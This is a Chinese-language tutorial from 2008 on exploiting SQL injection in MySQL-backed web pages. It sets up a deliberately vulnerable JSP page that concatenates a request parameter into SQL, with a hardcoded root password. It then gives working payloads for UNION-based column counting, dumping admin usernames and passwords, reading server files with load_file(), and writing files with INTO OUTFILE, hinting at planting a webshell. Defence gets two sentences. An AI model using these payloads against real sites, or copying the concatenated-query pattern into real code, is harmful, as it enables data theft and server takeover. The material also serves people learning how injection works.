MYSQL 注射精华

创建时间：2008-06-25
文章属性：原创
文章提交：tsenable (tsenable_at_gmail.com)

MYSQL 注射精华

前言
鄙人今天心血来潮突然想写篇文章,鄙人从来没写过文章,如果有错误的地方请多多指教.本文需要有基础的SQL语句知识才可以更好的理解.建议想学习的人多去了解一下SQL语句和编程语言,知己知彼才能百战百胜.
　　我不希翼得到读者您的好评,尽管我尽力了;只希望本文能解决您学习过程的障碍,希望您早日掌握有关MYSQL注入方面的知识.

1.MYSQL 注射的产生.
　　漏洞产生原因 : 程序执行中未对敏感字符进行过滤,使得攻击者传入恶意字符串与结构化数据查询语句合并,并且执行恶意代码.

　　咱们先创造一个没有过滤的程序. 因为我机器上没有PHP,所以我就是用 JAVA了,我会详细注释.

代码
数据库:

```
create database if not exists `test`;

USE `test`;

/*数据表 `account` 的表结构*/

DROP TABLE IF EXISTS `account`;

CREATE TABLE `account` (
    `accountId` bigint(20) NOT NULL auto_increment,
    `accountName` varchar(32) default NULL,
    `accountPass` varchar(32) default NULL,
    PRIMARY KEY    (`accountId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*数据表 `account` 的数据*/

insert into `account` values
(1,'account1','account1');

/*数据表 `admin` 的表结构*/

DROP TABLE IF EXISTS `admin`;

CREATE TABLE `admin` (
    `adminId` bigint(20) NOT NULL auto_increment,
    `adminName` varchar(32) default NULL,
    `adminPass` varchar(32) default NULL,
    PRIMARY KEY    (`adminId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*数据表 `admin` 的数据*/

insert into `admin` values
(1,'admin','admin');
```

:
程序:

```
<%@ page language="java" import="java.util.*,java.sql.*" pageEncoding="utf-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
    <body>
<%
//连接MYSQL的字符串.
//jdbc:mysql://localhost:3306/test
//驱动:数据库://地址:端口/数据库名称
String mysqlConnection = "jdbc:mysql://localhost:3306/test";

//加载驱动    com.mysql.jdbc.Driver 是JAVA与MYSQL 连接用的JDBC驱动
Class.forName("com.mysql.jdbc.Driver").newInstance();
```

```
//建立MYSQL链接 root是用户名 cx0321 是密码
Connection connection = DriverManager.getConnection(mysqlConnection, "root", "cx0321");

//建立一个查询对象
Statement statment = connection.createStatement();

//建立一个查询返回集合. 就是说查询完以后返回的数据全部都在这个里面.
ResultSet resultSet = null;

//从account里面读取数据.
resultSet = statment.executeQuery("select * from account where accountId = '"+ request.getParameter("id")
+"'");

//循环,直到resultSet结束
while(resultSet.next())
{
//从resultSet读取出值输出到页面.
        out.print(resultSet.getInt(1)+"|");//取出第一列的值,因为是数字类型的所以是getInt();
        out.print(resultSet.getString(2)+"|");//取出第二列的值,因为是字符串类型的所以是getString();
        out.print(resultSet.getString(3)+"|");
        out.print("<br />");//页面输出换行
}
%>
    </body>
</html>
```

2.漏洞的利用

(图1)
这个就是数据库里的记录了.以后黄色为关键语句,红色为输入的部分.
        大家注意看resultSet = statment.executeQuery("select * from account where accountId = '"+
request.getParameter("id") +"'");
这里的request.getParameter("id") 是获取GET传参的id 参数,也就是mysqlInject.jsp?id=1 这里的id. 这样这个SQL 语句就变成了select * from account where accountId = '1' 了.如果加以变换呢?

2.1漏洞的检测
我们把id 写成mysqlInject.jsp?id=1' 那么SQL 语句就变成select * from account where accountId = '1'' 了,这样的话SQL语句就会报错,因为SQL语句的值是需要2个包含符号,比如' 和" 如果只是数字可以什么都不写.如果不报错的话就说明程序替换,过滤或者其他方法来防护了.

那么我们可以继续来测验, mysqlInject.jsp?id=1' and ''=' 那么SQL语句就变成了select * from account where accountId = '1' and '' = '' ,应该返回正常.

有些人说我的为什么返回不正常呢? 有2种原因,第一是程序把恶意字符过滤了;第二是程序的语句和我写的不一样select * from account where accountId = 1' and ''='. 这个问题在下边会谈到.

2.2 Union查询猜此次查询列的数量
        这里有的人会说猜此次查询列的数量有什么用?如果只是检测当然没有,但是你想进一步的利用那么就有大的用处了,文章后边会讲到的,耐心.

        如果懂SQL的人应该知道UNION查询吧?UNION查询就是联合查询,执行第二条查询语句将返回值和本次查询合并.

        大家想想,如果要和本次查询值合并需要一个什么条件呢? 需要联合查询的列数和此次查询的列数相等.如果不想等的话就会无法合并,那么就会报错.通过这一特点聪明的你应该会想出这么才列数了吧?

那么我们要的就是使得UNION查询出来的列数与本次查询出来的列数相等.也就是说不报错就会相等.
先从第一列开始猜,那么要把这个语句union select 1构造在地址程序的语句当中.
那么语句就是mysqlInject.jsp?id=1' and union select 1 and ''=' 这样的.
有些人问为什么后边(绿色的部分)要加上and ''=' 呢? 也许大家记了吧,我们的SQL语句是需要两个包含符号的,语句 select * from account where accountId = '1' 我们输入的是在1那个位置,所以要去除后边的',否则语句会报错的.
在本程序里也就是' 如果你要想消除' 有很多办法,为了让大家明白所以我现在使用and ''='.
先说一说有几种办法消除这个'
1. 使用 and '' = ' 虽然不够方便,但是在复杂SQL语句里不会报错的.
2. 使用注释 # 或者 /**/, 这样可以把后面的东西全部注释掉,但是有一个大问题,就是在执行复杂SQL语句的时候有可能会报错.
有些人测试,咦?为什么我加了#还是会报错呢?因为本次是使用GET传参,在地址栏传参.大家想想,当初下载带#名称的数据库是什么样子呢?哦,对了,#是地址栏的结束符,就是说#包括#以后的字符全部不传入.所以#在GET模式下注入注入不起作用.

那么有些工具写的在构造注射的时候为什么是mysqlInject.jsp?
id=1'/**/and/**/union/**/select/**/1/**/and/**/''/**/= /**/'/* 呢? 因为在程序里边有函数可以把传入参数里面的空格去除,如果去除了空格,将会是程序产生了错误的语句,那么就会一直报错了.所以有些工具就是用/**/这种东西来取代空格了.

那 /**/ 又是什么呢? /**/ 是一种注释,叫做文档注释,就是从/* 开始直到*/ 结束,中间任何代码都会成为注释,所以是程序员在写大量注释时候所使用的一种注释.

那最后的/* 是什么呢? 那个是用来解决 SQL语句 包含符号没有成双成对的.

我们开始测试.
mysqlInject.jsp?id=1 '/**/union/**/select/**/1/*

select * from account where accountId = '1 '/**/union/**/select/**/1/*'.

注意到最低下那句话了吗?
javax.servlet.ServletException: The used SELECT statements have a different number of columns
大概意思是"这个使用的查询列数不同",由此得出此次查询不是查询了一个表.

以此类推, select 1 select 1,2 select 1,2,3 知道正确位置,那么你现在说写的列数也就是本次查询的列数了.

大家看到地下返回 1|2|3| ,这个值是从咱们的UNION查询里合并出来的. 试试把UNION SELECT 1,2,3 换成 UNION SELECT 4,5,6 看看.地下是不是编程了 4|5|6| 了?

有人说 你都是骗人的 我怎么换,我都换到789了也没有出来,还是现实原来的数据,你骗人;我没有骗人,我也不会骗人;那为什么出不来?
有些程序写的时候只是把数据返回集合的第一行输出,但是UNION查询以后是把数据合并到此次查询以后,那么他只输出了此次查询的数据,其实UNION查询的数据也有,但是他没有输出.那怎么办呢?聪明的人一定会想到. 啊,原来如此,只要让此次查询不输出就可以了.哈哈哈,我聪明了,可是怎么让此次查询不输出呢? 先告诉大家一个简单的方法,看看SQL语句,我们是做过限制条件的. Where accountid = ? ,那么也就是说让这个accoundId 限制到一个没有的id 上那么不就会没有了? 心动不如行动,试试.
mysqlInject.jsp?id=1000'/**/union/**/select/**/4,5,6/*
select * from account where accountId =1000'/**/union/**/select/**/4,5,6/*

哈哈,果然没有了!!! 注意绿色的部分,指定查询一个没有的id ,那么他理所当然的就会蒸发了.
2.3 低几率另类猜此次查询列的数量
此方法虽然几率低一点,但是会大大减少工作量的.次方法只适用于 select * 的简易SQL语句.
这个方法是用的是 mysql 里的 order 排序. 排序是按照顺序排下来.我们来写一条SQL语句. Select * from account where accountId = '1' order by accountId 那么这个SQL语句也就是根据 accountId 升序排序. 那么我们不知道他有什么怎么办,而且这怎么猜? 这里是关键问题. MYSQL支持列编号排序Select * from account where accountId = '1' order by 1 这样也就是按照第一列排序.
哎呀,你又在骗我们,排序怎么猜列的数量? 那么我按照一个不存在的列排序呢? 比如第四列? 你一般身上有3个口袋,一个最多10元钱,一天吃一顿,一顿3斤米,一斤米一元,但是你今天吃了4斤米,需要40元,你却只有3个口袋,你就没有40元,你就要挨打了.
也就是说一共有3个列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,没有第4列,出错.那么也就说明他有4列.
这种方法是根据人的经验判断的.我一般使用这个方法都会成功,就是不成功也相差不多.

2.4 使用UNION猜其他表,查询其他表
使用此方法可以查询到其他表里的内容.比如查询管理员的密码等.但是有个前题,必须道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因为MYSQL 和SQLSERVER 的系统函数不一样,SQLSERVER 里有 SP_HELPDB 而MYSQL 里没有,所以只能猜了.
好,开始构造语句. 我们要猜看看有没有admin表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/admin/*'

如果正常的有admin表的话,那么返回是正常的,如果没有的话会报错的.

大家看到了吧? 有admin 这个表,为了让大家更好的理解,我们在猜一个其他不存在的表.

mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/helloword/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/ helloword/*'

看到了吧?没有 helloworld 这个表.所以报错了.
又问,为什么还是会写4,5,6呢? 啊哈,因为我们不知道他的列名,如果写了 * 他将会全部列出来,如果和此次查询的列不相等,那么就会报错了.所以要写一个相等的.
现在表名出来了,怎么才列名呢?哎呀,大家太聪明了,直接把4,5,6其中一个替换成列名不久行了? 那么构造出.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,5,6/**/from/**/admin/*'

看见了吗? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出来,然后带入UNION查询中,这样就查出来管理员帐号或者密码了.现在我要把列名一次全部带入.

mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
SQL : select * from account where accountId =
'1'/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin/*'

哈哈,出来了, 1|admin|admin| 就是 adminid|adminName|adminPass|
也可以在union 查询上限制条件,比如你知道有admin这个用户那么就构造 union select adminId,adminName,adminPass from admin where adminName = 'admin',看个人的发挥了.
2.5 使用MYSQL 系统函数.
2.5.1.1.1 使用 load_file() 函数 显示文件.
Load_file 顾名思义.就是加载文件,可不是运行啊,是显示内容,但是必须对文件拥有读取权限.我们先来构造一个显示 c:\boot.ini 文件的语句.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1,
load_file(0x633A5C626F6F742E696E69),3/*'

看到了吗? C:\boot.ini 文件的内容. 又问,为什么load_file() 里面是乱码呢? 那不是乱码,那个是C:\boot.ini 16进制编码. 因为本函数无法处理直接写的路径,只能能使用16进制或者是 Ascii 编码.所以要将路径转换成 16进制或者是Ascii 编码才可以执行.

又问,为什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因为啊,第一列不行,其他的都可以,第一列是一个 INT类型,一个数字类型,难道你会把你女朋友送进男厕所吗? 呵呵.玩笑.如果是在 linux 下可以使用 / 来列目录 ,但是必须有列目录的权限.

通过load_file 可以列目录,读文件,但是遇到文件格式编码的时候也许会遇到乱码的问题. 这个问题可以这么解决.使用 subString 函数, subString(字符串,开始,返回).

假设我们要返回第三个字符,那么就是mysqlInject.jsp?id=1'/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 这样我们就返回了第三个字符,用于解决乱码是非常好的办法.

我近期会做一个这样个工具,将会公布在我的个人主页上.

2.5.1.1.2 使用outfile 写WEBSHELL.

mysql 有一个功能,就是把查询的结果输出.就是outfile.先来构造一个简单的语句.

select ‘hello word’ into outfile ‘c:\\a.txt’ 这里是讲 ‘hello word’ 输出到 c:\a.txt

那么在网站也来构造一下.

mysqlInject.jsp?id=1'/**/union/**/select/**/1,'hello',3/**/into/**/outfile/**/'c:\\hello.txt'/*

SQL : select * from account where accountId = '1'/**/union/**/select/**/1,'hello',3/**/into/**/outfile/**/' c:\\hello.txt' /*'

成功插入.但是为什么会报错呢?哦,那是因为你把数据写到文件中,返回集合什么都没有了,当然会报错了.如果你把hello 换成 一句话或者其他的,如果写入到网站目录下,那是多么恐怖啊…

2.漏洞的防护和总结

通过过滤特殊关键字来防护.代码网站很多,我这里就不写了.

针对JAVA有一种防护措施,就是使用PreparedStatement 对象进行查询,这里也不多说了.

本文只是一个概括的讲述,如果应用到实战当中需要结合经验.

如果有什么错误的地方可以和我说. msn:tsenable@msn.com 我的主页tsenable.spaces.live.com 感谢大家.